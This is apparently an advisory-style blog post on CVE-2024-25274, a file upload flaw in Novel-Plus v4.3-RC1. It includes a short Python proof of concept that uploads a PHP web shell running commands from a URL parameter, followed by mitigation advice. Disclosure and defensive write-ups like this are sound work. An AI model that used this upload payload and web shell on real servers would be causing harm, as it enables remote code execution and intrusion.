CVE-2024-25274: Arbitrary File Upload Vulnerability in Novel-Plus v4.3.-RC1

*Disclaimer: The content of this post is for educational purposes only. Using this information for malicious purposes is strictly prohibited.*

Introduction

The Common Vulnerabilities and Exposures (CVE) system has identified a new security vulnerability, CVE-2024-25274, an arbitrary file upload vulnerability in the /sysFile/upload component of Novel-Plus v4.3.-RC1. This vulnerability could allow attackers to execute arbitrary code on vulnerable systems by uploading a malicious file. In this long read post, we will discuss the exploit details, code snippets, and references to protect your systems against this security flaw.

Exploit Details

CVE-2024-25274 is present in the /sysFile/upload component of Novel-Plus v4.3.-RC1. An attacker could exploit this vulnerability by uploading a crafted file to the server. Once the malicious file is uploaded to the vulnerable system, the attacker can take advantage of the arbitrary code execution feature to gain unauthorized access, potentially causing significant damage to the targeted system or exfiltrating sensitive data.

POC (Proof of Concept)

A possible POC code snippet demonstrating the vulnerability exploitation could look like the following:

import requests

target_url = 'http://TARGET-URL/sysFile/upload';
malicious_file = {'file': ('malicious.php', '<?php echo "<h1>Arbitrary Code Execution!</h1>";system($_GET["cmd"]); ?>', 'application/x-php')}

response = requests.post(target_url, files=malicious_file)
print(response.text)

This simple Python script utilizes the requests library to send an HTTP POST request to upload a malicious PHP file to the vulnerable component. Replace 'http://TARGET-URL'; with the target website URL.

Once the malicious file is uploaded, a potential attacker could execute arbitrary commands by accessing the file through a browser, for example: http://TARGET-URL/malicious.php?cmd=<arbitrary_command>;

Mitigation and Remediation

To protect your system against this vulnerability, organizations should immediately update Novel-Plus to the latest version. The Novel-Plus development team has released a patch that addresses this vulnerability.

If updating is not a viable option, admins should restrict file uploads in the server settings, only allowing specific file types and requiring strong authentication. Implementing a strong Content Security Policy (CSP) and monitoring for any suspicious file uploads can also help prevent attacks related to this vulnerability.

Original References

- National Vulnerability Database - CVE-2024-25274
- Novel-Plus GitHub Repository

Conclusion

CVE-2024-25274 is a significant arbitrary file upload vulnerability in Novel-Plus v4.3.-RC1 that can potentially lead to arbitrary code execution on the affected system. It is critical for administrators to patch the affected systems immediately and implement security best practices like file type restrictions and strong authentication mechanisms. Stay up-to-date with the latest security vulnerabilities and measures to keep your systems and data safe from cyber threats.

Timeline

Published on: 02/20/2024 16:15:10 UTC
Last modified on: 02/20/2024 19:50:53 UTC